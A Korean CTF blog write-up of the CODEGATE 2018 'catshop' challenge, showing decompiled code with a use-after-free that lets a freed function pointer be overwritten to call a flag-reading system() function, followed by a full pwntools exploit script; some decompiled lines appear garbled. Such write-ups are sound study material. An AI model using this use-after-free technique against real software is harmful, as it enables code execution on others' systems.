ipwn

[CODEGATE 2018] catshop 본문

CTF's/CODEGATE

[CODEGATE 2018] catshop

ipwn 2018. 5. 17. 12:09

이 문제는 진짜 진짜 진짜 진자(진자운동 아님ㅎ)쉽다.


int __cdecl main()
{
  int result; // eax
  int buf; // [esp+0h] [ebp-18h]
  void *ptr; // [esp+4h] [ebp-14h]
  int v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]
 
  v4 = __readgsdword(0x14u);
  ptr = 0;
  v3 = 0;
  setvbuf(stdout, 010);
  while ( )
  {
    sub_8048624();
    puts("your choice:");
    read(0&buf, 4u);
    result = buf;
    switch ( buf )
    {
      case 1:
        if ( ptr )
        {
          puts("You already bought puppy!");
        }
        else
        {
          ptr = malloc(4u);
          *(_DWORD *)ptr = sub_804860B;
        }
        break;
      case 2:
        if ( ptr )
          free(ptr);
        else
          puts("You already sold puppy!");
        break;
      case 3:
        if ( ptr )
          (*(void (**)(void))ptr)();
        else
          puts("You should buy puppy!");
        break;
      case 4:
        sub_80486AD();
        break;
      case 5:
        if ( !v3 )
          puts("You should change a name!");
        printf("your name:%s\n", v3);
        break;
      case 6:
        return result;
      default:
        puts("You should choice 1-6!");
        break;
    }
  }
}



main함수는 이런식으로 구성되어있다.


일단 가장먼저 ptr에 malloc을 4byte 때려주고 함수 주소를 집어넣는다.


그 다음에 2번을 누르면 free를 해주고


4번을 누를 경우에는 재할당을 해주는데...


unsigned int sub_80486AD()
{
  char *s; // ST1C_4
  size_t buf; // [esp+18h] [ebp-10h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]
 
  v3 = __readgsdword(0x14u);
  puts("Your Name Length :");
  read(0&buf, 4u);
  s = (char *)malloc(buf);
  puts("Your Name :");
  fgets(s, buf, stdin);
  return __readgsdword(0x14u) ^ v3;
}



딱 봐도 uaf가 터지는 것을 알 수 있다. 심지어 이전에 있었던 함수 포인터도 바로 덮어줄 수 있다.


그리고 메인을 보면 3번 옵션을 선택할 경우 ptr안의 함수를 실행시켜주게 되는데,


int sub_80488B6()
{
  return system("/bin/cat /home/catshop/flag");
}


 

이런 함수가 존재한다.


그래서 걍 ptr을 free해주고 s를 재할당 받아서 저 /bin/cat flag를 해주는 함수로 덮어주면 플래그를 읽어와준다.



흠 쉬운 문제들이 나와줘서 그나마 이렇게 라업을 쓰는 것 같다.


from pwn import *
 
#p = remote('211.117.60.76', 8888)
= process('./catshop')
 
func = 0x80488b6
 
p.send('\x01')
p.recv()
p.send('\x02')
p.recv()
p.send('\x04')
p.recv()
p.send('\x00\x00\x00\x04')
p.recv()
p.sendline(p32(func))
p.recv()
p.send('\x03')
sleep(0.3)
print p.recvuntil('\n')



'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2015] yocto (RTDL)  (0) 2019.01.05
[CODAGATE 2018] heapbabe  (0) 2018.11.13
[CODEGATE 2018] betting  (0) 2018.05.17
[CODEGATE 2016] bugbug  (0) 2018.03.26
[CODEGATE 2018] BaskinRobins31  (5) 2018.03.02
Comments